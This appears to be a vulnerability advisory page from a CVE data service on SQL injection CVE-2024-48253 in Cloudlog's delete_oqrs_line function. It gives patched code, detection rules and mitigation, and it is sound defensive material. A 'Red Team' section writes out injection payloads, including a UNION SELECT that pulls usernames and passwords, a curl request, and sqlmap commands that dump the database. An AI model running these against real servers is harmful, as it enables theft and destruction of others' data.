CVE-2024-48253
Executive Summary
CVE-2024-48253 is a critical SQL injection vulnerability discovered in Cloudlog version 2.6.15, specifically within the Oqrs.php file's delete_oqrs_line function. The vulnerability allows an unauthenticated attacker to inject arbitrary SQL commands via the id parameter, leading to potential data exfiltration, modification, or complete database compromise. The CVSS score is 0.0 in the NVD due to incomplete scoring, but based on the vector, the actual severity is critical (9.8). No official patch has been released, and the vendor has not responded to disclosures. The exploit is publicly known, and proof-of-concept code is available in the wild.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Cloudlog is a PHP-based web application for amateur radio logging. It is not distributed via NPM, PyPI, Go, or Ruby registries. The vulnerability exists in the core application code, not in a third-party package. However, users should verify the integrity of their Cloudlog installation and consider manual code review for any custom modifications.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
- Confidentiality (C): High (H) – Full database read access possible.
- Integrity (I): High (H) – Data can be modified or deleted.
- Availability (A): High (H) – Database can be disrupted or destroyed.
Overall CVSS Score: 9.8 (Critical)
Threat Level: Critical. The vulnerability is trivial to exploit, requires no authentication, and can lead to complete database compromise.
Deep Dive & Mechanics
The vulnerability resides in the delete_oqrs_line function within Oqrs.php. The function accepts an id parameter via HTTP request (likely GET or POST) and directly concatenates it into a SQL DELETE query without proper sanitization or parameterization.
Vulnerable Code Snippet (Conceptual):
function delete_oqrs_line($id) {
$sql = "DELETE FROM oqrs_lines WHERE id = " . $id;
$this->db->query($sql);
}
The $id parameter is taken directly from user input (e.g., $_GET['id'] or $_POST['id']) and inserted into the SQL string. An attacker can provide a malicious value such as 1 OR 1=1 to delete all rows, or 1 UNION SELECT ... to extract data from other tables.
Attack Flow:
- Attacker sends a crafted HTTP request to the vulnerable endpoint, e.g.,
/Oqrs.php?action=delete_oqrs_line&id=1 UNION SELECT username,password FROM users. - The application executes the malicious SQL query.
- The attacker receives the result (if the query returns data) or observes the effect (e.g., all records deleted).
Vulnerable vs. Patched Code
Vulnerable Code (Cloudlog 2.6.15):
function delete_oqrs_line($id) {
$sql = "DELETE FROM oqrs_lines WHERE id = " . $id;
$this->db->query($sql);
}
Patched Code (Recommended Fix):
function delete_oqrs_line($id) {
$stmt = $this->db->prepare("DELETE FROM oqrs_lines WHERE id = ?");
$stmt->bind_param("i", $id);
$stmt->execute();
}
The patched version uses prepared statements with parameterized queries, which prevents SQL injection by separating SQL logic from user data. The bind_param function ensures the id is treated as an integer, eliminating the possibility of injection.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A target running Cloudlog 2.6.15.
- Network access to the web interface.
Exploit Steps:
Identify the vulnerable endpoint: The
delete_oqrs_linefunction is typically accessed via/index.php/Oqrs/delete_oqrs_lineor similar URL pattern. Use directory brute-forcing or review the application's routing.Craft the injection payload: Use a tool like
sqlmapor manual HTTP requests.Manual Request (cURL):
curl -X POST "http://target.com/index.php/Oqrs/delete_oqrs_line" \ -d "id=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100"Using sqlmap:
sqlmap -u "http://target.com/index.php/Oqrs/delete_oqrs_line" \ --data="id=1" \ --batch --dbsExtract data: Once injection is confirmed, dump the database:
sqlmap -u "http://target.com/index.php/Oqrs/delete_oqrs_line" \ --data="id=1" \ --batch -D cloudlog --tables
Blue Team (Defense)
Detection:
- Monitor for SQL injection patterns in web logs (e.g.,
UNION,SELECT,OR 1=1). - Use a Web Application Firewall (WAF) to block suspicious requests.
- Implement database activity monitoring for unusual queries.
Mitigation:
- Apply the patched code immediately (see Remediation section).
- Restrict access to the vulnerable endpoint via IP whitelisting or authentication.
- Use a Content Security Policy (CSP) to reduce impact of XSS if combined with SQLi.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests to
/index.php/Oqrs/delete_oqrs_linewith unusualidparameters. - Requests containing SQL keywords like
UNION,SELECT,OR,AND,--,#,/*. - High volume of DELETE operations on the
oqrs_linestable.
File IOCs:
- Modified
Oqrs.phpfile (if attacker attempts to backdoor). - Suspicious log entries in web server logs (e.g., Apache access log).
Database IOCs:
- Unexpected rows in
oqrs_linestable. - New user accounts or modified permissions.
- Queries to system tables (e.g.,
information_schema).
Detection Engineering
YARA Rule
rule CVE_2024_48253_Cloudlog_SQLi {
meta:
description = "Detects SQL injection attempts targeting Cloudlog Oqrs.php delete_oqrs_line"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-48253"
severity = "critical"
strings:
$sqli_pattern1 = /delete_oqrs_line.*id=.*(UNION|SELECT|OR|AND|--|#|\/\*)/i
$sqli_pattern2 = /Oqrs\.php.*delete_oqrs_line.*id=.*['"]/i
condition:
any of them
}
Sigma Rule
title: CVE-2024-48253 Cloudlog SQL Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts against Cloudlog Oqrs.php delete_oqrs_line endpoint
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2024-48253
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-uri-query|contains:
- 'delete_oqrs_line'
- 'id='
cs-uri-query|re:
- '.*(UNION|SELECT|OR|AND|--|#|\/\*).*'
condition: selection
falsepositives:
- Legitimate use of the word "union" in a non-SQL context (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-48253 Cloudlog SQL Injection Attempt"; flow:to_server,established; content:"delete_oqrs_line"; http_uri; nocase; content:"id="; http_uri; nocase; pcre:"/(UNION|SELECT|OR|AND|--|#|\/\*)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Apply the patch: Replace the vulnerable
delete_oqrs_linefunction with the parameterized version shown in the "Vulnerable vs. Patched Code" section. - Update Cloudlog: Check for any newer versions (though none exist as of this report). Consider migrating to a maintained fork if available.
- Restrict access: Use
.htaccessor firewall rules to limit access to the/Oqrs/endpoint to trusted IPs only.
Long-term Measures:
- Implement a Web Application Firewall (WAF) with SQL injection rules.
- Conduct regular code audits and penetration testing.
- Use prepared statements for all database queries.
- Enable detailed logging and monitoring for all database interactions.
Workaround (if patching is not possible):
- Disable the
delete_oqrs_linefunctionality by removing or renaming theOqrs.phpfile (if not critical). - Add input validation to the
idparameter to accept only integers.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.